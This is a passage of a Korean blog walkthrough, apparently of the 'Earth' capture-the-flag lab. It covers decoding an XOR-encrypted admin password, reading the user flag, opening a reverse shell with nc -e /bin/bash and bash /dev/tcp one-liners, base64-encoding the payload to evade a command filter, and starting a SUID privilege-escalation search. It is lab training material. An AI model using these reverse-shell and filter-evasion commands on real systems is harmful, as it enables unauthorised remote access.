&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  발견된 경로&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;✅ /admin &amp;rarr; 관리자 로그인 페이지&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;✅ /robots.txt &amp;rarr; 추가 파일 목록&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(5-3) 숨겨진 파일 분석&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;pre class=&quot;bash&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot; data-ke-language=&quot;bash&quot;&gt;&lt;code&gt;1) http://earth.local/admin&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 182517.png&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;817&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bSwmbj/dJMcacwk6I7/v5Vf1DAlJzuWTIQWkNuug1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bSwmbj/dJMcacwk6I7/v5Vf1DAlJzuWTIQWkNuug1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bSwmbj/dJMcacwk6I7/v5Vf1DAlJzuWTIQWkNuug1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbSwmbj%2FdJMcacwk6I7%2Fv5Vf1DAlJzuWTIQWkNuug1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;964&quot; height=&quot;817&quot; data-filename=&quot;스크린샷 2026-05-12 182517.png&quot; data-origin-width=&quot;964&quot; data-origin-height=&quot;817&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot;&gt;&lt;code&gt;https://terratest.earth.local/robots.txt&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 182559.png&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;880&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cHthva/dJMcagMhBME/0n0omUAzi0kpzcv8gsxuC0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cHthva/dJMcagMhBME/0n0omUAzi0kpzcv8gsxuC0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cHthva/dJMcagMhBME/0n0omUAzi0kpzcv8gsxuC0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcHthva%2FdJMcagMhBME%2F0n0omUAzi0kpzcv8gsxuC0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;951&quot; height=&quot;880&quot; data-filename=&quot;스크린샷 2026-05-12 182559.png&quot; data-origin-width=&quot;951&quot; data-origin-height=&quot;880&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 맨 아래 testingnotes.*로 들어간다. 아래에 들어가게 되면 &lt;b&gt;used as username에 terra가 보인다 -&amp;gt; 이게 아이디다!&lt;/b&gt;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 182618.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;892&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/CpUIT/dJMcadIFnhi/K6GlDrCpgwxXIOCT0Bjk6K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/CpUIT/dJMcadIFnhi/K6GlDrCpgwxXIOCT0Bjk6K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/CpUIT/dJMcadIFnhi/K6GlDrCpgwxXIOCT0Bjk6K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCpUIT%2FdJMcadIFnhi%2FK6GlDrCpgwxXIOCT0Bjk6K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;958&quot; height=&quot;892&quot; data-filename=&quot;스크린샷 2026-05-12 182618.png&quot; data-origin-width=&quot;958&quot; data-origin-height=&quot;892&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;-&amp;gt; 위에 보면&lt;b&gt; testdata.txt&lt;/b&gt;가 보인다! 거기에 또 들어가면 아래와 같은 문구가 나오는데 CyberChef라는것을 이용해서 XOR 복호화를 할때 사용하는 key가 된다.!&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 182630.png&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;901&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b5EyOe/dJMcagMhBMF/BkVDMJVbGfPBRCjKTFkSyK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b5EyOe/dJMcagMhBMF/BkVDMJVbGfPBRCjKTFkSyK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b5EyOe/dJMcagMhBMF/BkVDMJVbGfPBRCjKTFkSyK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb5EyOe%2FdJMcagMhBMF%2FBkVDMJVbGfPBRCjKTFkSyK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;969&quot; height=&quot;901&quot; data-filename=&quot;스크린샷 2026-05-12 182630.png&quot; data-origin-width=&quot;969&quot; data-origin-height=&quot;901&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 183233.png&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;960&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dpwCnG/dJMcafzPeCg/XzKyT3QlmYKE46gQXjg910/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dpwCnG/dJMcafzPeCg/XzKyT3QlmYKE46gQXjg910/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dpwCnG/dJMcafzPeCg/XzKyT3QlmYKE46gQXjg910/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdpwCnG%2FdJMcafzPeCg%2FXzKyT3QlmYKE46gQXjg910%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1044&quot; height=&quot;960&quot; data-filename=&quot;스크린샷 2026-05-12 183233.png&quot; data-origin-width=&quot;1044&quot; data-origin-height=&quot;960&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 183621.png&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;983&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/RsUCF/dJMcaf0QJ9E/pmkSgLWrXpNb1JcoMqYXpk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/RsUCF/dJMcaf0QJ9E/pmkSgLWrXpNb1JcoMqYXpk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/RsUCF/dJMcaf0QJ9E/pmkSgLWrXpNb1JcoMqYXpk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRsUCF%2FdJMcaf0QJ9E%2FpmkSgLWrXpNb1JcoMqYXpk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1076&quot; height=&quot;983&quot; data-filename=&quot;스크린샷 2026-05-12 183621.png&quot; data-origin-width=&quot;1076&quot; data-origin-height=&quot;983&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 위와 같은 사이트에 들어가면 맨 아래, 굉장히 긴 암호문이 있는데 그걸 복사합니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1) 칼리 파이어폭스에 들어가서 cyberchef로 들어갑니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2) 먼저 오퍼레이션을 눌러서 -&amp;gt; from hex를 먼저 드래그해서 옆으로 옮겨주고&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3) 그다음 xor을 검색해서 드래그 해서 옆으로 옮깁니다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4) 길었던 암호문을 인풋에 넣고, 아래 xor key에는 아까 &lt;b&gt;testdata.txt사이트에 나온 문구를 UTF8로 넣어주면 완성됩니다.&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;5) 아래가 비밀번호 입니다.&lt;/b&gt;&lt;/p&gt;
&lt;pre class=&quot;gcode&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78; text-align: start;&quot;&gt;&lt;code&gt;earthclimatechangebad4humans&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;플래그1!!!.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;927&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cPJefW/dJMcac377Gi/Mdd8kmqm9Oi2WBb3yXcep1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cPJefW/dJMcac377Gi/Mdd8kmqm9Oi2WBb3yXcep1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cPJefW/dJMcac377Gi/Mdd8kmqm9Oi2WBb3yXcep1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcPJefW%2FdJMcac377Gi%2FMdd8kmqm9Oi2WBb3yXcep1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;996&quot; height=&quot;927&quot; data-filename=&quot;플래그1!!!.png&quot; data-origin-width=&quot;996&quot; data-origin-height=&quot;927&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;  획득한 계정 정보&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;ID:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;terra&lt;/b&gt;&lt;br /&gt;&lt;span style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;PW:&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;b&gt;earthclimatechangebad4humans&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;&amp;nbsp;&lt;/h3&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;6. 관리자 페이지 로그인 &amp;amp; User Flag 획득&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 6-1&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;획득한 계정으로 /admin 페이지 로그인&lt;/p&gt;
&lt;pre class=&quot;dts&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;http://earth.local/admin
ID: terra
PW: earthclimatechangebad4humans&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 6-2&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;로그인 후 CLI Command 툴에서 User Flag 확인&lt;/p&gt;
&lt;pre class=&quot;stata&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;ls /var/earth_web/
cat /var/earth_web/user_flag.txt&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;b&gt;  User Flag 획득 완료!&lt;/b&gt;&lt;/div&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 184347.png&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;957&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/lFrBM/dJMcabEa7mU/8KKovKgxfWKxa5FgGp2SJ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/lFrBM/dJMcabEa7mU/8KKovKgxfWKxa5FgGp2SJ0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/lFrBM/dJMcabEa7mU/8KKovKgxfWKxa5FgGp2SJ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FlFrBM%2FdJMcabEa7mU%2F8KKovKgxfWKxa5FgGp2SJ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1040&quot; height=&quot;957&quot; data-filename=&quot;스크린샷 2026-05-12 184347.png&quot; data-origin-width=&quot;1040&quot; data-origin-height=&quot;957&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 184901.png&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;302&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/blhm1N/dJMcac378cT/QmcmYWfKPrgaRnBkO672hk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/blhm1N/dJMcac378cT/QmcmYWfKPrgaRnBkO672hk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/blhm1N/dJMcac378cT/QmcmYWfKPrgaRnBkO672hk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fblhm1N%2FdJMcac378cT%2FQmcmYWfKPrgaRnBkO672hk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1043&quot; height=&quot;302&quot; data-filename=&quot;스크린샷 2026-05-12 184901.png&quot; data-origin-width=&quot;1043&quot; data-origin-height=&quot;302&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;7. STEP 6. 리버스 쉘 (Reverse Shell)&lt;/h3&gt;
&lt;h2 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;왜 base64로 인코딩하는가?&lt;/h2&gt;
&lt;div style=&quot;background-color: #e8f4fd; color: #1a1a2e; text-align: start;&quot;&gt;  CLI Command 툴에는&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;특정 문자열 필터&lt;/b&gt;가 걸려 있어 nc 명령어를 직접 입력하면 차단됩니다. 그래서 명령어 전체를&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;base64로 인코딩&lt;/b&gt;해서 필터를 우회합니다.&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;nc -e /bin/bash 는 그냥 외우는 공식이에요&lt;/b&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;리버스쉘 할 때 nc 쓰면 거의 항상 이 형태예요:&lt;/p&gt;
&lt;pre class=&quot;armasm&quot;&gt;&lt;code&gt;nc -e /bin/bash [공격자IP] [포트]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;-e : 연결되면 이 프로그램 실행해라&lt;/li&gt;
&lt;li&gt;/bin/bash : 실행할 프로그램 = bash 쉘&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/bin/bash 가 어디있는지 직접 찾은게 아니라 &lt;b&gt;리눅스는 bash가 항상 /bin/bash에 있다&lt;/b&gt;는걸 알고 있어서 쓰는 거예요.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;마치 공식처럼&lt;/b&gt;&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;웹쉘 실행 가능하면 &amp;rarr; nc -e /bin/bash IP 포트&lt;/li&gt;
&lt;li&gt;python 있으면 &amp;rarr; python3 -c 'import pty...'&lt;/li&gt;
&lt;li&gt;bash 있으면 &amp;rarr; bash -i &amp;gt;&amp;amp; /dev/tcp/IP/포트 0&amp;gt;&amp;amp;1&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이런 패턴들을 CTF 하면서 하나씩 외워가는 거예요.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;처음엔 다 보고 따라하고, 나중엔 자연스럽게 외워지는 흐름이에요  &lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 7-1&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리에서 명령어를 base64로 인코딩&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;echo 'nc -e /bin/bash 172.16.11.213 4444' | base64
# 출력된 base64 값을 복사해둔다&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스크린샷 2026-05-12 185042.png&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;131&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bbFmX4/dJMcabqFda7/ncaRZHwgEKF8kpk2ldut5K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bbFmX4/dJMcabqFda7/ncaRZHwgEKF8kpk2ldut5K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bbFmX4/dJMcabqFda7/ncaRZHwgEKF8kpk2ldut5K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbbFmX4%2FdJMcabqFda7%2FncaRZHwgEKF8kpk2ldut5K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;656&quot; height=&quot;131&quot; data-filename=&quot;스크린샷 2026-05-12 185042.png&quot; data-origin-width=&quot;656&quot; data-origin-height=&quot;131&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 7-2&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리에서 4444 포트 대기 (리스닝) -&amp;gt; 터미널을 하나 더 여세요!&lt;/p&gt;
&lt;pre class=&quot;angelscript&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;sudo nc -lvnp 4444&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 7-3&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;Earth의 CLI Command 툴에서 아래 명령어 입력&lt;/p&gt;
&lt;pre class=&quot;1c&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;echo '복사한base64값' | base64 -d | bash&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 6-4&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;칼리에서 연결 확인 후 인터랙티브 쉘로 업그레이드&lt;/p&gt;
&lt;pre class=&quot;swift&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;python3 -c 'import pty; pty.spawn(&quot;/bin/bash&quot;)'&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #fff0f0; color: #1a1a2e; text-align: start;&quot;&gt;⚠️&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;자주 하는 실수&lt;/b&gt;&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;-C&lt;span&gt;&amp;nbsp;&lt;/span&gt;(대문자) ❌ &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;-c&lt;span&gt;&amp;nbsp;&lt;/span&gt;(소문자) ✅&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;pth&lt;span&gt;&amp;nbsp;&lt;/span&gt;❌ &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;pty&lt;span&gt;&amp;nbsp;&lt;/span&gt;✅&lt;br /&gt;-&lt;span&gt;&amp;nbsp;&lt;/span&gt;python&lt;span&gt;&amp;nbsp;&lt;/span&gt;❌ &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;python3&lt;span&gt;&amp;nbsp;&lt;/span&gt;✅ (Fedora는 python3 기본)&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;b&gt;✅ 연결 성공!&lt;/b&gt;&lt;br /&gt;whoami 입력 시 &amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;apache&lt;/b&gt;&lt;span&gt;&amp;nbsp;&lt;/span&gt;출력 (apache 유저로 접속된 상태)&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;color: #0f3460; text-align: start;&quot; data-ke-size=&quot;size23&quot;&gt;STEP 8. 권한 상승 (Privilege Escalation)&lt;/h3&gt;
&lt;h4 style=&quot;color: #16213e; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;SETUID/SETGID란?&lt;/h4&gt;
&lt;div style=&quot;background-color: #e8f4fd; color: #1a1a2e; text-align: start;&quot;&gt; &lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;SETUID가 설정된 파일&lt;/b&gt;은 실행 시 파일 소유자의 권한으로 동작한다.&lt;br /&gt;&lt;br /&gt;예: root 소유의 SETUID 파일을 일반유저(apache)가 실행&lt;br /&gt;&amp;rarr;&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;실행 순간 root 권한으로 동작!&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;이를 이용해&lt;span&gt;&amp;nbsp;&lt;/span&gt;&lt;b&gt;일반유저 &amp;rarr; root 권한상승(Privilege Escalation)&lt;/b&gt;이 가능하다.&lt;br /&gt;모의해킹에서 권한상승 시 가장 먼저 확인하는 항목이다.&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-1&lt;/span&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SETUID 설정된 파일 검색&lt;/p&gt;
&lt;pre class=&quot;routeros&quot; style=&quot;background-color: #1a1a2e; color: #a8ff78;&quot;&gt;&lt;code&gt;# SETUID 파일 전체 검색 (에러 메시지는 /dev/null로 버림)
find / -perm -u=s -type f 2&amp;gt;/dev/null

# passwd 파일 확인
sudo find / -name passwd
ls -l /usr/bin/passwd&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;background-color: #e8f5e9; color: #1a1a2e; text-align: start;&quot;&gt;&lt;b&gt;  발견!&lt;/b&gt;&lt;br /&gt;/usr/bin/reset_root&lt;span&gt;&amp;nbsp;&lt;/span&gt;&amp;rarr; SETUID 설정된 root 소유 파일&lt;/div&gt;
&lt;div style=&quot;background-color: #f8f9ff; color: #1a1a2e; text-align: start;&quot;&gt;&lt;span style=&quot;background-color: #0f3460; color: #ffffff;&quot;&gt;STEP 8-2&lt;/span&gt;
